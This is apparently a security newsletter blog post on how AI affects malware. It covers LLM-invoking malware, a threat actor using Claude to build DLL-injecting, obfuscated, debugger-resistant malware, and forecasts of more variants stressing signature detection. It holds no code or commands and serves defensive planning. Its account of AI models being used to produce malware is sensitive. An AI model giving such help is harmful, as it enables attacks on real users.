Margin of Safety #27: AI and Malware

With AI, we expect a flood of malware variants that overwhelm signature-based defenses. Sci-fi scenarios like binaries with built-in reasoning or truly adaptive evasion are still far off

Over the last year, we’ve spent a lot of time reading about the intersection of AI and malware. As usual, we have thoughts. Our reading has covered everything from practical attacks happening (like malware resisting detection by using LLMs to ‘retrieve’ malicious commands at runtime) to potential future problems (like autonomous malware agents that can reason about detection avoidance within a given network). We think these issues exist at various points out the feasibility spectrum, but there are very real threats that practitioners and service providers need to prepare for in the immediate future. In this blog, we’ll dive into what we expect in the near and medium term, along with what we think security teams do and do not need to do to prepare.

Happening Already

We’re already seeing malware such as LameHug(details), PromptLock(details) and the recent NX exploit(details) increasingly rely on locally available LLMs – either because an open-weight model has already been installed on the host or network, or because there’s API access to models on the public internet – to dynamically generate offensive scripts. This dynamic generation has the dual benefits of being able to better adapt to the exact set of locally available utilities while also moving key exploit behavior out of the core malware payload, reducing vulnerability to some classic detection techniques.

From a CISO perspective, this behavior is likely here to stay. Practitioners (and security tools) need to be prepared to monitor locally available LLMs of all flavors, installed or SaaS, to detect, block, and alert on malicious use. The assumption must be that the ability to invoke LLMs – especially large ones but including small ones – is a powerful tool in the toolbox of anyone attempting to live off the land.

Beyond creative use of LLMs for the actual payload, we’ve previously talked about the industry wide trend of reduce mean time to exploit. We expect AI to drive both rapid productionization of both specific exploits as well all other forms of malware. Anthropic’s latest threat report (here) contains details of multiple threat actors successful use of Claude to advance their malware capabilities(pages 15-20). Most compelling to use is technically naive threat actor GTG-5004’s successful efforts to leverage Claude to produce low cost, high quality malware. Despite their lack of technical depth, GTG-5004 has successfully used Claude’s assistance to implement DLL injection, obfuscate behavior, and resist debuggers. While Anthropic has blocked these particular threat actors, we expect this to be a cat and mouse game across all frontier model providers. Resourceful threat actors will continue to find ways to exploit the code gen capabilities of private models while building unblockable capabilities with open weight models.

We won’t continue to beat the dead horse on this topic, but we think CISOs need to be considering not just how to better prioritize vulnerabilities, but how to actually drive faster, cheaper remediations via automation and tooling in a world where exploit windows shrink.

We also wonder if influential CISOs could push for greater data sharing between foundational model providers. The most capable code-gen models are currently all private, and there would be value to the security community in blocking threat actors once rather than once per provider.

Could Happen Soon

One of the clearest near-term shift we expect is a dramatic expansion in the diversity of malware variants. Historically, attackers have faced meaningful constraints, namely that writing new malware was expensive: much like with other forms of code, everything had to be manually created and tested. As a result, once there is a new, proven malware strain, these tend to get recycled, ultimately leading to recognizable families that defenders could track, fingerprint, and study.

LLMs reduce the bar on those constraints. Fully automatic, high complexity code generation may be beyond the capabilities of current models, but refactoring existing code and automatically creating small, well-specific code blocks is well within those same models’ capabilities. We expect this to increase diversity within the malware ecosystem by making it significantly easier for attackers to ‘riff’ on known attacks. In term, this will stress many forms of classic fingerprint-based detection, leading to even more noise in the threat landscape, higher alert volumes for defenders, and ultimately missed detections if signature-based tools fail to keep up.

From a CISO perspective, we think that staying ahead of the curve in this space means thinking about several things. First, it means understanding the depth of your current detections: how much will the vendor tell you about the techniques being used in malware identification, and how confident is your team that they’ll resist an increase in malware diversity? Second, it means hardening your multilayer defenses. If you assume that some malware gets through the first layer of detection as attackers innovate in this space, how can your second line of defense catch the malicious activity? At the end of the day, we don’t believe that attacker goals are materially changing with AI; just their methods. But this means they’ll be forced to ultimately take the same final steps to convert their initial attack into results, regardless of AI’s role in the attack.

Basically Science Fiction

The idea that a small (say, under 50-100MB) binary could contain baked-in reasoning capabilities to support malware evasion is certainly not true today – even the smallest language models are closer to a gigabyte than not, and their reasoning capabilities are effectively non-existent — but also may not ever become true. The field of information theory gives us strong lower bounds on the amount of data required to contain or transmit information. While we really don’t yet understand exactly how much knowledge is required to support complex IT reasoning, the fact that we only see it emerging in the biggest language models or near-adult human brains suggests (at least to these authors) that the bar is high. And practically speaking, we’d need to see a many, many order of magnitude improvement in model size:performance ratios before this possibility even began to approach feasibility.

Truly adaptive, high performance evasion capabilities are, in our mind, similarly in the realm of science fiction at present. However, unlike baked in reasoning for small binaries, we can imagine these capabilities emerging in foundational models over time. Those capabilities could then be subserved by malware gains access to said foundational models, whether via public API or accessing an already deployed internal resource. But we don’t think we’re there yet. We’re probably not close, even not for well resourced state actors. Complex dynamic evasion is likely harder than all of:

• A customer support chatbot
• Making Cursor consistently generate correct code the first try
• Multi-turn, reliable reasoning agents

Yet very few (if any) players are cracking those use cases, even with large engineering and infrastructure investments around the models. We expect to see the emergency of consistently high quality LLM-based code generation before we see the emergence of high complexity, LLM-based dynamic defense evasion.

Conclusion

AI is helping to reshape the malware landscape, but not by delivering superintelligent, self-adaptive threats. It is lowering the barrier to entry, introducing a flood of variants and putting pressure on signature-based detection. We think successful defenders in the space will be the ones who are able to adapt quickly to the emerging threats without wasting resources on the distant future hypotheticals. In practical terms, we believe this currently includes guarding against inappropriate use of deployed LLMs, hardening detection strategies and ensuring that TI and fingerprinting techniques are able to handle appropriate levels of diversity, and classic investments in multi-layered defenses. If you’re building or working in the space, we’d love to hear what you’re doing.

Reach out to us if you are building in the space of AI & security. We have some thoughts!
Kathryn Shih – kshih@forgepointcap.com
Jimmy Park – jpark@forgepointcap.com

This blog is also published on Margin of Safety, Jimmy and Kathryn’s Substack, as they research the practical sides of security + AI so you don’t have to.